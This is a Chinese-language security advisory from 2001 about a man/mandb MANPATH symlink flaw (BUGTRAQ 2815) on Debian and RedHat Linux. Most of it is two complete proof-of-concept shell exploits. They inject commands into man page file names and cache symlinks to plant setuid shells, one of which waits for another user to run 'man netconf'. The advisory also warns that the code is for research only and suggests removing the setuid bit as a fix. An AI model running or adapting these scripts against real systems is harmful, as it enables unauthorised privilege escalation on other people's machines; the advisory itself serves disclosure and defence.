发布日期：2001-06-04
更新日期：2001-06-12

受影响系统：

Debian Linux 2.3
Debian Linux 2.2
Debian Linux 2.1
RedHat Linux 7.1
RedHat Linux 7.0
RedHat Linux 6.2
RedHat Linux 6.1

描述：

---

BUGTRAQ ID ： 2815

在某些情况下，man允许使用用户定义的path变量作为manpath的一部分，然后man使用
这个manpath来搜索手册页。

但是，当使用用户定义的path变量来创建缓冲文件时，man没有去掉S位。因此，恶意用
户可能通过这个漏洞来提升权限。

<*来源：jenggo (luki@karet.org) *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

jenggo (luki@karet.org)提供了如下测试代码：

Debian Linux：

#!/bin/sh
###################################################
# Fri Jun  1 23:00:10 JAVT 2001                   #
# ----------------------------------------------- #
# man MANPATH symlink redirection bugs            #
# proof of concept.                               #
# version affected:                               #
#   <= man-db 2.3.16-3,2.3.17-3.2                 #
#                                                 #
# tested on:                                      #
#  debian2.2 -> instant man suidshell             #
#                                                 #
# by jenggo <luki@karet.org>                      #
#                                                 #
# thanx to: echo, mayonaise all @ #karet          #
# ==> Mr.dur,amien,mega,akbar ... damai,damai ;)  #
###################################################

TMPDIR=/tmp/mywork

RAND=`/bin/date +%S`
echo "making working dir ..."
/bin/mkdir -p $TMPDIR/man/man1
/bin/chmod 777 $TMPDIR
/bin/chmod 777 $TMPDIR/man

echo "copying needed files ..."
if [ ! -x /usr/bin/groff ] || [ ! -x /usr/bin/grotty ] || [ ! -x
/usr/bin/troff ] || [ ! -x /usr/bin/gcc ]; then
  echo "Failed, I need executable : groff,grotty,troff,gcc"
  echo "cleaning up ..."
  /bin/rm -rf $TMPDIR
fi

/bin/cp /usr/bin/groff $TMPDIR
/bin/cp /usr/bin/grotty $TMPDIR
/bin/cp /usr/bin/troff $TMPDIR

echo "compiling helper ..."
/bin/cat > $TMPDIR/hehe.c <<EOF
#include <stdio.h>

int main()
{
  char *aa[2]={"/bin/sh", NULL};

  setreuid(6,6);
  execve(aa[0], aa, NULL);
  exit(0);
}
EOF

/usr/bin/gcc $TMPDIR/hehe.c -o $TMPDIR/hehe 2>/dev/null 1>/dev/null

/bin/cat > $TMPDIR/mandeb.c <<EOF
#include <stdio.h>

int main()
{
  seteuid(6);
  setuid(6);
  system("/bin/cp /tmp/mywork/hehe /tmp/huhu");
  system("/bin/chown man /tmp/huhu");
  system("/bin/chmod 4755 /tmp/huhu");
  exit(0);
}
EOF

/usr/bin/gcc $TMPDIR/mandeb.c -o $TMPDIR/mandeb 2>/dev/null 1>/dev/null

echo "making our manpage ..."
/bin/ln -s /var/cache/man/cat1 $TMPDIR/man/cat1
/bin/echo "bebas euy"|/bin/gzip -c > $TMPDIR/man/man1/"cihuy$RAND.1.gz;cd
..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mywork;export PATH=.;mandeb;echo
ls.1.gz"
/bin/touch $TMPDIR/"cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd
mywork;export PATH=.;mandeb;echo ls"
export PATH=$TMPDIR
/usr/bin/man "cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd
mywork;export PATH=.;mandeb;echo ls" 2> /dev/null 1>/dev/null

echo "/bin/ls -la /var/cache/man/cat1"
/bin/ls -la /var/cache/man/cat1
export PATH=/var/cache:/bin:/sbin:/usr/bin:/usr/sbin

echo "exploiting ..."
/bin/rm -f /tmp/huhu
/usr/lib/man-db/mandb 2>/dev/null 1>/dev/null
/bin/rm -rf /tmp/mywork

echo
echo "/bin/ls -la /tmp"
/bin/ls -la /tmp

if [ -u /tmp/huhu ]; then
  echo "file /tmp/huhu is setuid. Hope it's owned by man"
  echo "Have a nice day"
  echo "[----- jenggo <luki@karet.org> -----]"
  /tmp/huhu
else
  echo "exploit failed, cleaning up our binary ..."
fi

echo "cleaning up our preparation step dir ..."
/bin/rm -rf /tmp/$TMPDIR

RedHat Linux：

#!/bin/sh
###################################################
# Fri May 18 22:08:42 JAVT 2001                   #
# ----------------------------------------------- #
# man MANPATH symlink redirection bugs            #
# proof of concept.                               #
# version affected:                               #
#   <= man-1.5h1-20                               #
#                                                 #
# tested on:                                      #
#  redhat7.1 -> any user suidshell                #
#                                                 #
# by jenggo <luki@karet.org>                      #
#                                                 #
# thanx to: echo, mayonaise all @ #karet          #
###################################################
# hmmm ... ada yang bisa modif jadi instant root ?? :P

# IMPORTANT !
# set this to command that has no man page
DEADLY_BIN="netconf"

# on <= redhat6.2 could be /var/cache/catman
CACHEDIR="/var/cache/man"
CACHEDIR2="/var/cache/catman"

GZ="/bin/gzip"

echo -n "check man dir ..."

if [ ! -d $CACHEDIR ]; then
  if [ -d $CACHEDIR2 ]; then
    CACHEDIR=$CACHEDIR2
    echo "OK"
  else
    echo "FAILED"
    echo "check your man dir"
    exit
  fi
else
  echo "OK"
fi

echo -n "checking sgid/suid man ..."
if [ ! -g /usr/bin/man ]; then
# is it a debian man?
  if [ -d /usr/lib/man-db ]; then
    echo "FAILED"
    echo "I think this is debian style man, use other script"
  else
    echo "FAILED"
    echo "can't find executables sgid man binary"
  fi
  exit
else
  echo "OK"
fi

echo "making our man directory ..."
echo

mkdir -p /tmp/man/man1
mkdir /tmp/cat1
mkdir /tmp/mine
chmod 777 /tmp/mine

echo "creating our man page ..."
echo

echo "BEBAS EUY"|$GZ -c > /tmp/man/man1/huhuy.1.gz

echo "creating symlink ..."
echo

ln -s "$CACHEDIR/cat1/netconf.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;cd
mine;export PATH=.;manx" /tmp/cat1/huhuy.1.gz

echo "creating our bogus command ..."
echo
touch /tmp/huhuy

echo "making manx shellscript"
echo

/bin/cat > /tmp/mine/manx <<EOF
#!/bin/sh

export PATH="/bin:/usr/bin:/sbin:/usr/sbin"
VICTIM=\`/usr/bin/id -u\`

/bin/cat >/tmp/mine/my"\$VICTIM".c <<EOG
#include <stdio.h>
void main()
{
  char *hh[2]={"/bin/sh", NULL};
  setreuid(\$VICTIM,\$VICTIM);
  execve(hh[0], hh, NULL);
}
EOG

/usr/bin/gcc /tmp/mine/my"\$VICTIM".c -o /tmp/mine/my\$VICTIM 1>/dev/null
2>/dev/null

/bin/rm -f /tmp/mine/my"\$VICTIM".c 1>/dev/null 2>/dev/null

chmod 6755 /tmp/mine/my\$VICTIM 1>/dev/null 2>/dev/null

EOF

chmod 755 /tmp/mine/manx

if [ ! -x /tmp/mine/manx ]; then
  echo "file: /tmp/mine/manx can't be set executable !"
  echo "fix the exploit first"
  echo "cleaning up ..."
  /bin/rm -rf /tmp/man /tmp/cat1 /tmp/mine /tmp/huhuy
  exit
fi

echo "prepare to exploit ..."
echo

export PATH=../../../../../../tmp
cd /

echo "exploiting ..."
echo

/usr/bin/man -d huhuy 2>/dev/null

export PATH=/bin:/usr/bin

echo "checking our exploit result"
echo

if [ -f "/var/cache/man/cat1/$DEADLY_BIN.1.gz;cd ..;cd ..;cd ..;cd ..;cd
tmp;cd mine;export PATH=.;manx" ]; then
  echo "content of $CACHEDIR/cat1:"
  ls -l $CACHEDIR/cat1
  echo
  echo "exploit OK, now wait till somebody run 'man $DEADLY_BIN'"
  echo "and your suidshells will be waiting at /tmp/mine/* :)"
  echo "bye."
  echo "[-------- jenggo <luki@karet.org> --------]"
  echo
else
  echo "hrrmm ... exploit failed to create offending file !"
  echo "check again please"
  echo "cleaning up ..."
  /bin/rm -rf /tmp/man /tmp/cat1 /tmp/mine /tmp/huhuy
fi


建议：

---

去掉“mandb”的setuid位

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：

Debian Linux:
http://www.debian.com/

RedHat Linux:
http://www.redhat.com/



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